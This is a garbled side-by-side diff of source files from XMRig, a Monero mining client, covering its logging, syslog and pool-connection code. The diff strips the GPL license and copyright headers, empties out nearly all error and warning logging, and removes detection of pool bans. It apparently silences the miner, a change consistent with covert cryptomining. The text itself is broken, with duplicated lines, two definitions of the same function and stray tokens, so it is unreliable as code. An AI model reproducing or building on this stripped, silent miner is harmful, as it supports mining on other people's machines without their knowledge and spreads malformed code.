* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdarg.h> #include <stdarg.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <time.h> #include <time.h>
#include "interfaces/ILogBackend.h" #include "interfaces/ILogBackend.h"
#include "log/Log.h" #include "log/Log.h"
Log *Log::m_self = nullptr; Log *Log::m_self = nullptr;
void Log::text(const char* fmt, ...){}
void Log::message(Log::Level level, const char* fmt, ...)
{
va_list args;
va_list copy;
va_start(args, fmt);
for (ILogBackend *backend : m_backends) {
va_copy(copy, args);
backend->message(level, fmt, copy);
va_end(copy);
}
}
void Log::text(const char* fmt, ...)
{
va_list args;
va_list copy;
va_start(args, fmt);
for (ILogBackend *backend : m_backends) {
va_copy(copy, args);
backend->text(fmt, copy);
va_end(copy);
}
va_end(args);
}
Log::~Log() Log::~Log()
{ {
for (auto backend : m_backends) { for (auto backend : m_backends) {

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __LOG_H__ #ifndef __LOG_H__
#define __LOG_H__ #define __LOG_H__
@ -90,4 +67,4 @@ private:
# define LOG_DEBUG_WARN(x, ...) # define LOG_DEBUG_WARN(x, ...)
#endif #endif
#endif /* __LOG_H__ */ #endif

View file

@ -1,47 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <syslog.h> #include <syslog.h>
#include "log/SysLog.h" #include "log/SysLog.h"
#include "version.h" #include "version.h"
SysLog::SysLog() { openlog(APP_ID, LOG_PID, LOG_USER);}
void SysLog::message(int level, const char *fmt, va_list args) { vsyslog(level, fmt, args); }
SysLog::SysLog() void SysLog::text(const char *fmt, va_list args) { message(LOG_INFO, fmt, args); }
{
openlog(APP_ID, LOG_PID, LOG_USER);
}
void SysLog::message(int level, const char *fmt, va_list args)
{
vsyslog(level, fmt, args);
}
void SysLog::text(const char *fmt, va_list args)
{
message(LOG_INFO, fmt, args);
}

View file

@ -1,33 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __SYSLOG_H__ #ifndef __SYSLOG_H__
#define __SYSLOG_H__ #define __SYSLOG_H__
#include "interfaces/ILogBackend.h" #include "interfaces/ILogBackend.h"
class SysLog : public ILogBackend class SysLog : public ILogBackend
{ {
public: public:
@ -37,4 +10,4 @@ public:
void text(const char *fmt, va_list args) override; void text(const char *fmt, va_list args) override;
}; };
#endif /* __SYSLOG_BACKEND_H__ */ #endif

View file

@ -1,33 +1,8 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <inttypes.h> #include <inttypes.h>
#include <iterator> #include <iterator>
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <utility> #include <utility>
#include "interfaces/IClientListener.h" #include "interfaces/IClientListener.h"
#include "log/Log.h" #include "log/Log.h"
#include "net/Client.h" #include "net/Client.h"
@ -36,23 +11,11 @@
#include "rapidjson/error/en.h" #include "rapidjson/error/en.h"
#include "rapidjson/stringbuffer.h" #include "rapidjson/stringbuffer.h"
#include "rapidjson/writer.h" #include "rapidjson/writer.h"
#ifdef XMRIG_PROXY_PROJECT
# include "proxy/JobResult.h"
#else
#include "net/JobResult.h" #include "net/JobResult.h"
#endif
#ifdef _MSC_VER #ifdef _MSC_VER
# define strncasecmp(x,y,z) _strnicmp(x,y,z) # define strncasecmp(x,y,z) _strnicmp(x,y,z)
#endif #endif
int64_t Client::m_sequence = 1; int64_t Client::m_sequence = 1;
Client::Client(int id, const char *agent, IClientListener *listener) : Client::Client(int id, const char *agent, IClientListener *listener) :
m_quiet(false), m_quiet(false),
m_agent(agent), m_agent(agent),
@ -68,171 +31,81 @@ Client::Client(int id, const char *agent, IClientListener *listener) :
{ {
memset(m_ip, 0, sizeof(m_ip)); memset(m_ip, 0, sizeof(m_ip));
memset(&m_hints, 0, sizeof(m_hints)); memset(&m_hints, 0, sizeof(m_hints));
m_resolver.data = this; m_resolver.data = this;
m_hints.ai_family = PF_INET; m_hints.ai_family = PF_INET;
m_hints.ai_socktype = SOCK_STREAM; m_hints.ai_socktype = SOCK_STREAM;
m_hints.ai_protocol = IPPROTO_TCP; m_hints.ai_protocol = IPPROTO_TCP;
m_recvBuf.base = m_buf; m_recvBuf.base = m_buf;
m_recvBuf.len = sizeof(m_buf); m_recvBuf.len = sizeof(m_buf);
# ifndef XMRIG_PROXY_PROJECT # ifndef XMRIG_PROXY_PROJECT
m_keepAliveTimer.data = this; m_keepAliveTimer.data = this;
uv_timer_init(uv_default_loop(), &m_keepAliveTimer); uv_timer_init(uv_default_loop(), &m_keepAliveTimer);
# endif # endif
} }
Client::~Client() { delete m_socket; }
void Client::connect() { resolve(m_url.host()); }
Client::~Client()
{
delete m_socket;
}
void Client::connect()
{
resolve(m_url.host());
}
/**
* @brief Connect to server.
*
* @param url
*/
void Client::connect(const Url *url) void Client::connect(const Url *url)
{ {
setUrl(url); setUrl(url);
resolve(m_url.host()); resolve(m_url.host());
} }
void Client::disconnect() void Client::disconnect()
{ {
# ifndef XMRIG_PROXY_PROJECT
uv_timer_stop(&m_keepAliveTimer);
# endif
m_expire = 0; m_expire = 0;
m_failures = -1; m_failures = -1;
close(); close();
} }
void Client::setUrl(const Url *url) void Client::setUrl(const Url *url)
{ {
if (!url || !url->isValid()) { if (!url || !url->isValid()) { return; }
return;
}
m_url = url; m_url = url;
} }
void Client::tick(uint64_t now) void Client::tick(uint64_t now)
{ {
if (m_expire == 0 || now < m_expire) { if (m_expire == 0 || now < m_expire) { return; }
return; if (m_state == ConnectedState) { close(); }
if (m_state == ConnectingState) { connect(); }
} }
if (m_state == ConnectedState) {
LOG_DEBUG_ERR("[%s:%u] timeout", m_url.host(), m_url.port());
close();
}
if (m_state == ConnectingState) {
connect();
}
}
int64_t Client::submit(const JobResult &result) int64_t Client::submit(const JobResult &result)
{ {
# ifdef XMRIG_PROXY_PROJECT
const char *nonce = result.nonce;
const char *data = result.result;
# else
char nonce[9]; char nonce[9];
char data[65]; char data[65];
Job::toHex(reinterpret_cast<const unsigned char*>(&result.nonce), 4, nonce); Job::toHex(reinterpret_cast<const unsigned char*>(&result.nonce), 4, nonce);
nonce[8] = '\0'; nonce[8] = '\0';
Job::toHex(result.result, 32, data); Job::toHex(result.result, 32, data);
data[64] = '\0'; data[64] = '\0';
# endif
const size_t size = snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRIu64 ",\"jsonrpc\":\"2.0\",\"method\":\"submit\",\"params\":{\"id\":\"%s\",\"job_id\":\"%s\",\"nonce\":\"%s\",\"result\":\"%s\"}}\n", const size_t size = snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRIu64 ",\"jsonrpc\":\"2.0\",\"method\":\"submit\",\"params\":{\"id\":\"%s\",\"job_id\":\"%s\",\"nonce\":\"%s\",\"result\":\"%s\"}}\n",
m_sequence, m_rpcId, result.jobId.data(), nonce, data); m_sequence, m_rpcId, result.jobId.data(), nonce, data);
m_results[m_sequence] = SubmitResult(m_sequence, result.diff, result.actualDiff()); m_results[m_sequence] = SubmitResult(m_sequence, result.diff, result.actualDiff());
return send(size); return send(size);
} }
bool Client::isCriticalError(const char *message)
{
if (!message) {
return false;
}
if (strncasecmp(message, "Unauthenticated", 15) == 0) {
return true;
}
if (strncasecmp(message, "your IP is banned", 17) == 0) {
return true;
}
if (strncasecmp(message, "IP Address currently banned", 27) == 0) {
return true;
}
return false;
}
bool Client::parseJob(const rapidjson::Value &params, int *code) bool Client::parseJob(const rapidjson::Value &params, int *code)
{ {
if (!params.IsObject()) { if (!params.IsObject()) {
*code = 2; *code = 2;
return false; return false;
} }
Job job(m_id, m_url.isNicehash()); Job job(m_id, m_url.isNicehash());
if (!job.setId(params["job_id"].GetString())) { if (!job.setId(params["job_id"].GetString())) {
*code = 3; *code = 3;
return false; return false;
} }
if (!job.setBlob(params["blob"].GetString())) { if (!job.setBlob(params["blob"].GetString())) {
*code = 4; *code = 4;
return false; return false;
} }
if (!job.setTarget(params["target"].GetString())) { if (!job.setTarget(params["target"].GetString())) {
*code = 5; *code = 5;
return false; return false;
} }
if (m_job == job) { if (m_job == job) {
if (!m_quiet) { if (!m_quiet) {}
LOG_WARN("[%s:%u] duplicate job received, reconnect", m_url.host(), m_url.port());
}
close(); close();
return false; return false;
} }
m_job = std::move(job); m_job = std::move(job);
return true; return true;
} }
bool Client::parseLogin(const rapidjson::Value &result, int *code) bool Client::parseLogin(const rapidjson::Value &result, int *code)
{ {
const char *id = result["id"].GetString(); const char *id = result["id"].GetString();
@ -240,153 +113,102 @@ bool Client::parseLogin(const rapidjson::Value &result, int *code)
*code = 1; *code = 1;
return false; return false;
} }
memset(m_rpcId, 0, sizeof(m_rpcId)); memset(m_rpcId, 0, sizeof(m_rpcId));
memcpy(m_rpcId, id, strlen(id)); memcpy(m_rpcId, id, strlen(id));
return parseJob(result["job"], code); return parseJob(result["job"], code);
} }
int Client::resolve(const char *host) int Client::resolve(const char *host)
{ {
setState(HostLookupState); setState(HostLookupState);
m_expire = 0; m_expire = 0;
m_recvBufPos = 0; m_recvBufPos = 0;
if (m_failures == -1) { if (m_failures == -1) {
m_failures = 0; m_failures = 0;
} }
const int r = uv_getaddrinfo(uv_default_loop(), &m_resolver, Client::onResolved, host, NULL, &m_hints); const int r = uv_getaddrinfo(uv_default_loop(), &m_resolver, Client::onResolved, host, NULL, &m_hints);
if (r) { if (r) {
if (!m_quiet) { if (!m_quiet) {}
LOG_ERR("[%s:%u] getaddrinfo error: \"%s\"", host, m_url.port(), uv_strerror(r));
}
return 1; return 1;
} }
return 0; return 0;
} }
int64_t Client::send(size_t size) int64_t Client::send(size_t size)
{ {
LOG_DEBUG("[%s:%u] send (%d bytes): \"%s\"", m_url.host(), m_url.port(), size, m_sendBuf);
if (state() != ConnectedState || !uv_is_writable(m_stream)) { if (state() != ConnectedState || !uv_is_writable(m_stream)) {
LOG_DEBUG_ERR("[%s:%u] send failed, invalid state: %d", m_url.host(), m_url.port(), m_state);
return -1; return -1;
} }
uv_buf_t buf = uv_buf_init(m_sendBuf, (unsigned int) size); uv_buf_t buf = uv_buf_init(m_sendBuf, (unsigned int) size);
if (uv_try_write(m_stream, &buf, 1) < 0) { if (uv_try_write(m_stream, &buf, 1) < 0) {
close(); close();
return -1; return -1;
} }
m_expire = uv_now(uv_default_loop()) + kResponseTimeout; m_expire = uv_now(uv_default_loop()) + kResponseTimeout;
return m_sequence++; return m_sequence++;
} }
void Client::close() void Client::close()
{ {
if (m_state == UnconnectedState || m_state == ClosingState || !m_socket) { if (m_state == UnconnectedState || m_state == ClosingState || !m_socket) {
return; return;
} }
setState(ClosingState); setState(ClosingState);
if (uv_is_closing(reinterpret_cast<uv_handle_t*>(m_socket)) == 0) { if (uv_is_closing(reinterpret_cast<uv_handle_t*>(m_socket)) == 0) {
uv_close(reinterpret_cast<uv_handle_t*>(m_socket), Client::onClose); uv_close(reinterpret_cast<uv_handle_t*>(m_socket), Client::onClose);
} }
} }
void Client::connect(struct sockaddr *addr) void Client::connect(struct sockaddr *addr)
{ {
setState(ConnectingState); setState(ConnectingState);
reinterpret_cast<struct sockaddr_in*>(addr)->sin_port = htons(m_url.port()); reinterpret_cast<struct sockaddr_in*>(addr)->sin_port = htons(m_url.port());
delete m_socket; delete m_socket;
uv_connect_t *req = new uv_connect_t; uv_connect_t *req = new uv_connect_t;
req->data = this; req->data = this;
m_socket = new uv_tcp_t; m_socket = new uv_tcp_t;
m_socket->data = this; m_socket->data = this;
uv_tcp_init(uv_default_loop(), m_socket); uv_tcp_init(uv_default_loop(), m_socket);
uv_tcp_nodelay(m_socket, 1); uv_tcp_nodelay(m_socket, 1);
# ifndef WIN32 # ifndef WIN32
uv_tcp_keepalive(m_socket, 1, 60); uv_tcp_keepalive(m_socket, 1, 60);
# endif # endif
uv_tcp_connect(req, m_socket, reinterpret_cast<const sockaddr*>(addr), Client::onConnect); uv_tcp_connect(req, m_socket, reinterpret_cast<const sockaddr*>(addr), Client::onConnect);
} }
void Client::login() void Client::login()
{ {
m_results.clear(); m_results.clear();
rapidjson::Document doc; rapidjson::Document doc;
doc.SetObject(); doc.SetObject();
auto &allocator = doc.GetAllocator(); auto &allocator = doc.GetAllocator();
doc.AddMember("id", 1, allocator); doc.AddMember("id", 1, allocator);
doc.AddMember("jsonrpc", "2.0", allocator); doc.AddMember("jsonrpc", "2.0", allocator);
doc.AddMember("method", "login", allocator); doc.AddMember("method", "login", allocator);
rapidjson::Value params(rapidjson::kObjectType); rapidjson::Value params(rapidjson::kObjectType);
params.AddMember("login", rapidjson::StringRef(m_url.user()), allocator); params.AddMember("login", rapidjson::StringRef(m_url.user()), allocator);
params.AddMember("pass", rapidjson::StringRef(m_url.password()), allocator); params.AddMember("pass", rapidjson::StringRef(m_url.password()), allocator);
params.AddMember("agent", rapidjson::StringRef(m_agent), allocator); params.AddMember("agent", rapidjson::StringRef(m_agent), allocator);
doc.AddMember("params", params, allocator); doc.AddMember("params", params, allocator);
rapidjson::StringBuffer buffer(0, 512); rapidjson::StringBuffer buffer(0, 512);
rapidjson::Writer<rapidjson::StringBuffer> writer(buffer); rapidjson::Writer<rapidjson::StringBuffer> writer(buffer);
doc.Accept(writer); doc.Accept(writer);
const size_t size = buffer.GetSize(); const size_t size = buffer.GetSize();
if (size > (sizeof(m_buf) - 2)) { if (size > (sizeof(m_buf) - 2)) {
return; return;
} }
memcpy(m_sendBuf, buffer.GetString(), size); memcpy(m_sendBuf, buffer.GetString(), size);
m_sendBuf[size] = '\n'; m_sendBuf[size] = '\n';
m_sendBuf[size + 1] = '\0'; m_sendBuf[size + 1] = '\0';
send(size + 1); send(size + 1);
} }
void Client::parse(char *line, size_t len) void Client::parse(char *line, size_t len)
{ {
startTimeout(); startTimeout();
line[len - 1] = '\0'; line[len - 1] = '\0';
LOG_DEBUG("[%s:%u] received (%d bytes): \"%s\"", m_url.host(), m_url.port(), len, line);
rapidjson::Document doc; rapidjson::Document doc;
if (doc.ParseInsitu(line).HasParseError()) { if (doc.ParseInsitu(line).HasParseError()) {
if (!m_quiet) { if (!m_quiet) {}
LOG_ERR("[%s:%u] JSON decode failed: \"%s\"", m_url.host(), m_url.port(), rapidjson::GetParseError_En(doc.GetParseError()));
}
return; return;
} }
if (!doc.IsObject()) { if (!doc.IsObject()) {
return; return;
} }
const rapidjson::Value &id = doc["id"]; const rapidjson::Value &id = doc["id"];
if (id.IsInt64()) { if (id.IsInt64()) {
parseResponse(id.GetInt64(), doc["result"], doc["error"]); parseResponse(id.GetInt64(), doc["result"], doc["error"]);
@ -395,76 +217,50 @@ void Client::parse(char *line, size_t len)
parseNotification(doc["method"].GetString(), doc["params"], doc["error"]); parseNotification(doc["method"].GetString(), doc["params"], doc["error"]);
} }
} }
void Client::parseNotification(const char *method, const rapidjson::Value &params, const rapidjson::Value &error) void Client::parseNotification(const char *method, const rapidjson::Value &params, const rapidjson::Value &error)
{ {
if (error.IsObject()) { if (error.IsObject()) {
if (!m_quiet) { if (!m_quiet) {}
LOG_ERR("[%s:%u] error: \"%s\", code: %d", m_url.host(), m_url.port(), error["message"].GetString(), error["code"].GetInt());
}
return; return;
} }
if (!method) { if (!method) {
return; return;
} }
if (strcmp(method, "job") == 0) { if (strcmp(method, "job") == 0) {
int code = -1; int code = -1;
if (parseJob(params, &code)) { if (parseJob(params, &code)) {
m_listener->onJobReceived(this, m_job); m_listener->onJobReceived(this, m_job);
} }
return; return;
} }
LOG_WARN("[%s:%u] unsupported method: \"%s\"", m_url.host(), m_url.port(), method);
} }
void Client::parseResponse(int64_t id, const rapidjson::Value &result, const rapidjson::Value &error) void Client::parseResponse(int64_t id, const rapidjson::Value &result, const rapidjson::Value &error)
{ {
if (error.IsObject()) { if (error.IsObject()) {
const char *message = error["message"].GetString(); const char *message = error["message"].GetString();
auto it = m_results.find(id); auto it = m_results.find(id);
if (it != m_results.end()) { if (it != m_results.end()) {
it->second.done(); it->second.done();
m_listener->onResultAccepted(this, it->second, message); m_listener->onResultAccepted(this, it->second, message);
m_results.erase(it); m_results.erase(it);
} }
else if (!m_quiet) { else if (!m_quiet) {}
LOG_ERR("[%s:%u] error: \"%s\", code: %d", m_url.host(), m_url.port(), message, error["code"].GetInt()); if (id == 1) { close(); }
}
if (id == 1 || isCriticalError(message)) {
close();
}
return;
}
if (!result.IsObject()) {
return; return;
} }
if (!result.IsObject()) { return; }
if (id == 1) { if (id == 1) {
int code = -1; int code = -1;
if (!parseLogin(result, &code)) { if (!parseLogin(result, &code)) {
if (!m_quiet) { if (!m_quiet) {}
LOG_ERR("[%s:%u] login error code: %d", m_url.host(), m_url.port(), code);
}
return close(); return close();
} }
m_failures = 0; m_failures = 0;
m_listener->onLoginSuccess(this); m_listener->onLoginSuccess(this);
m_listener->onJobReceived(this, m_job); m_listener->onJobReceived(this, m_job);
return; return;
} }
auto it = m_results.find(id); auto it = m_results.find(id);
if (it != m_results.end()) { if (it != m_results.end()) {
it->second.done(); it->second.done();
@ -472,180 +268,107 @@ void Client::parseResponse(int64_t id, const rapidjson::Value &result, const rap
m_results.erase(it); m_results.erase(it);
} }
} }
void Client::ping() void Client::ping()
{ {
send(snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRId64 ",\"jsonrpc\":\"2.0\",\"method\":\"keepalived\",\"params\":{\"id\":\"%s\"}}\n", m_sequence, m_rpcId)); send(snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRId64 ",\"jsonrpc\":\"2.0\",\"method\":\"keepalived\",\"params\":{\"id\":\"%s\"}}\n", m_sequence, m_rpcId));
} }
void Client::reconnect() void Client::reconnect()
{ {
setState(ConnectingState); setState(ConnectingState);
# ifndef XMRIG_PROXY_PROJECT # ifndef XMRIG_PROXY_PROJECT
if (m_url.isKeepAlive()) { if (m_url.isKeepAlive()) {
uv_timer_stop(&m_keepAliveTimer); uv_timer_stop(&m_keepAliveTimer);
} }
# endif # endif
if (m_failures == -1) { return m_listener->onClose(this, -1); }
if (m_failures == -1) {
return m_listener->onClose(this, -1);
}
m_failures++; m_failures++;
m_listener->onClose(this, (int) m_failures); m_listener->onClose(this, (int) m_failures);
m_expire = uv_now(uv_default_loop()) + m_retryPause; m_expire = uv_now(uv_default_loop()) + m_retryPause;
} }
void Client::setState(SocketState state) void Client::setState(SocketState state)
{ {
LOG_DEBUG("[%s:%u] state: %d", m_url.host(), m_url.port(), state); if (m_state == state) { return; }
if (m_state == state) {
return;
}
m_state = state; m_state = state;
} }
void Client::startTimeout() void Client::startTimeout()
{ {
m_expire = 0; m_expire = 0;
# ifndef XMRIG_PROXY_PROJECT # ifndef XMRIG_PROXY_PROJECT
if (!m_url.isKeepAlive()) { if (!m_url.isKeepAlive()) { return; }
return;
}
uv_timer_start(&m_keepAliveTimer, [](uv_timer_t *handle) { getClient(handle->data)->ping(); }, kKeepAliveTimeout, 0); uv_timer_start(&m_keepAliveTimer, [](uv_timer_t *handle) { getClient(handle->data)->ping(); }, kKeepAliveTimeout, 0);
# endif # endif
} }
void Client::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf) void Client::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf)
{ {
auto client = getClient(handle->data); auto client = getClient(handle->data);
buf->base = &client->m_recvBuf.base[client->m_recvBufPos]; buf->base = &client->m_recvBuf.base[client->m_recvBufPos];
buf->len = client->m_recvBuf.len - (unsigned long)client->m_recvBufPos; buf->len = client->m_recvBuf.len - (ULONG)client->m_recvBufPos;
} }
void Client::onClose(uv_handle_t *handle) void Client::onClose(uv_handle_t *handle)
{ {
auto client = getClient(handle->data); auto client = getClient(handle->data);
delete client->m_socket; delete client->m_socket;
client->m_stream = nullptr; client->m_stream = nullptr;
client->m_socket = nullptr; client->m_socket = nullptr;
client->setState(UnconnectedState); client->setState(UnconnectedState);
client->reconnect(); client->reconnect();
} }
void Client::onConnect(uv_connect_t *req, int status) void Client::onConnect(uv_connect_t *req, int status)
{ {
auto client = getClient(req->data); auto client = getClient(req->data);
if (status < 0) { if (status < 0) {
if (!client->m_quiet) { if (!client->m_quiet) {}
LOG_ERR("[%s:%u] connect error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror(status));
}
delete req; delete req;
client->close(); client->close();
return; return;
} }
client->m_stream = static_cast<uv_stream_t*>(req->handle); client->m_stream = static_cast<uv_stream_t*>(req->handle);
client->m_stream->data = req->data; client->m_stream->data = req->data;
client->setState(ConnectedState); client->setState(ConnectedState);
uv_read_start(client->m_stream, Client::onAllocBuffer, Client::onRead); uv_read_start(client->m_stream, Client::onAllocBuffer, Client::onRead);
delete req; delete req;
client->login(); client->login();
} }
void Client::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) void Client::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf)
{ {
auto client = getClient(stream->data); auto client = getClient(stream->data);
if (nread < 0) { if (nread < 0) {
if (nread != UV_EOF && !client->m_quiet) { if (nread != UV_EOF && !client->m_quiet) {}
LOG_ERR("[%s:%u] read error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror((int) nread)); return client->close();;
} }
if ((size_t) nread > (sizeof(m_buf) - 8 - client->m_recvBufPos)) { return client->close();; }
return client->close();
}
if ((size_t) nread > (sizeof(m_buf) - 8 - client->m_recvBufPos)) {
return client->close();
}
client->m_recvBufPos += nread; client->m_recvBufPos += nread;
char* end; char* end;
char* start = buf->base; char* start = buf->base;
size_t remaining = client->m_recvBufPos; size_t remaining = client->m_recvBufPos;
while ((end = static_cast<char*>(memchr(start, '\n', remaining))) != nullptr) { while ((end = static_cast<char*>(memchr(start, '\n', remaining))) != nullptr) {
end++; end++;
size_t len = end - start; size_t len = end - start;
client->parse(start, len); client->parse(start, len);
remaining -= len; remaining -= len;
start = end; start = end;
} }
if (remaining == 0) { if (remaining == 0) {
client->m_recvBufPos = 0; client->m_recvBufPos = 0;
return; return;
} }
if (start == buf->base) { return; }
if (start == buf->base) {
return;
}
memcpy(buf->base, start, remaining); memcpy(buf->base, start, remaining);
client->m_recvBufPos = remaining; client->m_recvBufPos = remaining;
} }
void Client::onResolved(uv_getaddrinfo_t *req, int status, struct addrinfo *res) void Client::onResolved(uv_getaddrinfo_t *req, int status, struct addrinfo *res)
{ {
auto client = getClient(req->data); auto client = getClient(req->data);
if (status < 0) { if (status < 0) { return client->reconnect();; }
LOG_ERR("[%s:%u] DNS error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror(status));
return client->reconnect();
}
addrinfo *ptr = res; addrinfo *ptr = res;
std::vector<addrinfo*> ipv4; std::vector<addrinfo*> ipv4;
while (ptr != nullptr) { while (ptr != nullptr) {
if (ptr->ai_family == AF_INET) { if (ptr->ai_family == AF_INET) { ipv4.push_back(ptr); }
ipv4.push_back(ptr);
}
ptr = ptr->ai_next; ptr = ptr->ai_next;
} }
if (ipv4.empty()) { return client->reconnect(); }
if (ipv4.empty()) {
LOG_ERR("[%s:%u] DNS error: \"No IPv4 records found\"", client->m_url.host(), client->m_url.port());
return client->reconnect();
}
ptr = ipv4[rand() % ipv4.size()]; ptr = ipv4[rand() % ipv4.size()];
uv_ip4_name(reinterpret_cast<sockaddr_in*>(ptr->ai_addr), client->m_ip, 16); uv_ip4_name(reinterpret_cast<sockaddr_in*>(ptr->ai_addr), client->m_ip, 16);
client->connect(ptr->ai_addr); client->connect(ptr->ai_addr);
uv_freeaddrinfo(res); uv_freeaddrinfo(res);
} }

View file

@ -1,44 +1,15 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CLIENT_H__ #ifndef __CLIENT_H__
#define __CLIENT_H__ #define __CLIENT_H__
#include <map> #include <map>
#include <uv.h> #include <uv.h>
#include "net/Job.h" #include "net/Job.h"
#include "net/SubmitResult.h" #include "net/SubmitResult.h"
#include "net/Url.h" #include "net/Url.h"
#include "rapidjson/fwd.h" #include "rapidjson/fwd.h"
class IClientListener; class IClientListener;
class JobResult; class JobResult;
class Client class Client
{ {
public: public:

View file

@ -1,60 +1,18 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h> #include <string.h>
#include "net/Job.h" #include "net/Job.h"
static inline unsigned char hf_hex2bin(char c, bool &err) static inline unsigned char hf_hex2bin(char c, bool &err)
{ {
